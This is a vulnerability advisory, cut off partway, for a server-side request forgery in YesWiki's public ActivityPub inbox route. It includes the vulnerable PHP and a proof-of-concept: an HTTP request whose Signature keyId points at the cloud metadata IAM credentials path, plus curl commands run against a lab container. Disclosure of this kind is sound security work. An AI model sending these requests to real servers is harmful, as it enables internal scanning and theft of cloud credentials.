## Summary The `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:"public"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata. The only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = '1'`). ## Details ### Affected component * **File:** `tools/bazar/services/HttpSignatureService.php` * **Method:** `HttpSignatureService::verifySignature(Request $request)` * **Sink:** line **96** * **Route:** `tools/bazar/controllers/ApiController.php` line **125** — `@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})` ```php // tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD, // lines 83–100) public function verifySignature(Request $request) { if (!$request->headers->has('Signature')) { throw new Exception('No signature'); } $sigConf = parse_ini_string( strtr($request->headers->get('Signature'), ["," => "\n"]) // (a) attacker controls every field ); if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) { throw new Exception('Malformed signature'); } $response = $this->httpClient->request('GET', $sigConf['keyId'], [ // (b) SINK — no validation, 'headers' => [ 'Accept' => 'application/ld+json'] // no allowlist, no scheme ]); // pinning, no IP filtering ... } ``` The inbox controller calls `verifySignature()` **before** running any cryptography: ```php // tools/bazar/controllers/ApiController.php (lines 125–145) /** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */ public function postFormActorInbox($formId, Request $request) { $activityPubService = $this->getService(ActivityPubService::class); $httpSignatureService = $this->getService(HttpSignatureService::class); $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId]; if ($activityPubService->isEnabled($form)) { $activity = json_decode($request->getContent(), true); $httpSignatureService->verifySignature($request); // <-- SSRF fires here $activityPubService->processActivity($activity, $form); return new ApiResponse(null, Response::HTTP_OK, …); } else { throw new NotFoundHttpException(); } } ``` The flow is **public ACL → enabled-form gate → unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network. ### End-to-end attack chain A single HTTP request, no session, no CSRF token, no captcha: ```http POST /?api/forms/1/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y" {} ``` * The Symfony controller matches the route on `formId=1`. * `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on). * `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient->request('GET', '<attacker URL>')`. * YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL. ## PoC ### Pre Reqs * Yeswiki v4.6.5 lab image (Setup via podman) * ActivityPub enabled on the target form For the rest of this document: ```bash BASE="http://localhost:8085" CTR="yeswiki-poc" ``` Before we start, make sure ActivityPub is enabled on the target form ```bash podman exec "$CTR" mysql -uroot yeswiki -e \ "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap FROM yeswiki_nature WHERE bn_id_nature = 1;" ``` Send the unauthenticated SSRF trigger: ```bash TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf" curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \ -H "Content-Type: application/activity+json" \ -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",h